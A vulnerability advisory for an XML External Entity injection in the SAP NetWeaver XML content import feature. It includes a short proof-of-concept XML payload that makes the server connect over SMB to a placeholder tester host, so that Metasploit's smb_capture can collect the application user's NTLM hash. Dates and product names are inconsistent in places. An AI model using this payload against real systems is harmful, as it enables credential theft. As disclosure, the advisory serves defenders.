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SAP Netwaver - XML External Entity Injection



Title: SAP Netwaver - XML External Entity Injection
Author: Lukasz Miedzinski
GPG: Public key provided in attachment
Date: 29/10/2014
CVE: CVE-2015-7241

Affected software :
===================

SAP Netwear : <7.01

Vendor advisories (only for customers):
===================
External ID : 851975 2014
Title:  XML External Entity vulnerability in SAP XML Parser
Security Note: 2098608
Advisory Plan Date: 12/5/2014
Delivery date of fix/Patch Day: 10/2/2014
CVSS Base Score: 5.5
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P


Description :
=============
XML External Entity Injection vulnerability has been found in the XML
parser in the System

Administration->XML Content and Actions -> Import section.


Vulnerabilities :
*****************

XML External Entity Injection :
======================


Example show how pentester is able to get NTLM hash of application's user.

Content of file (PoC) :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>
<root/>

When pentester has metasploit smb_capture module run, then application
will contatc him and provide

NTLM hash of user.


Contact :
=========

Lukasz[dot]Miedzinski[at]gmail[dot]com